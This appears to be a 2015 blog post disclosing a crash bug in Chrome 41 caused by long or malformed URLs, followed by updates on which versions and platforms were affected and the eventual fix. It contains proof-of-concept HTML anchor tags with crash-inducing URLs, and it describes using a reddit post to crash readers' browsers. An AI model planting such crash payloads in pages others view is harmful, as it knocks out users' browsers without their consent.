Update: 4/7/2015 - This is likely patched by now, for more info please see all updates below.
At the time of publishing (April 5th, 2015) Chrome 41 seems to crash on long and/or malformed URLs. The crash only occurs when accessing the link through a webserver (i.e. using file:// will not crash).
As a proof of concept that this bug has the potential for abuse, here is a reddit thread that crashes Chrome because of the content of a user-submitted post. Crashing a thread via a comment is also possible.
<a href="http://Lorem ipsum Culpa labore qui culpa enim nostrud eiusmod ullamco anim in dolor consequat voluptate in in laboris consequat dolor occaecat minim aliqua quis id in Duis eiusmod amet id do ex do dolore dolor anim sit deserunt do."></a>
<a href="http://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.com"></a>
<a href="Lorem ipsum Culpa labore qui culpa enim nostrud eiusmod ullamco anim in dolor consequat voluptate in in laboris consequat dolor occaecat minim aliqua quis id in Duis eiusmod amet id do ex do dolore dolor anim sit deserunt do."></a>
<a href="http://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"></a>
Confirmed bug in Chrome 41, 42, & 43 on MacOS and Windows in Browserstack.
Confirmed bug in Ubuntu and Chrome OS
Jumped the gun, mixed reports on Ubuntu
Bug occurs on http:// only (https:// works fine)
Issue likely tracked down to this bug, fixed here. Thanks to jgunsch for their submission to HN.
"Aw, Snap!" is different than "He's Dead, Jim" errors in Chrome- I can't say for certain which were which at this point- I'm pretty sure most were 'Aw Snap' errors (hence the name). See proof, hopefully ;)
Looks like the bug/fix linked above is correct, and the latest versions of 42/43 are actually not affected. Which means this bug should be fixed when Chrome updates to 42.
The original reddit thread was reposted to /r/bestof and almost made the front page before being removed by the admins (not surprised or offended by this, it was the right move). I think that's the end of the story here.
Thanks to everyone who contributed to the discussion on this, especially jgunsch for showing up with the actual explanation. And because they don't want any credit - thanks Katie and Oz!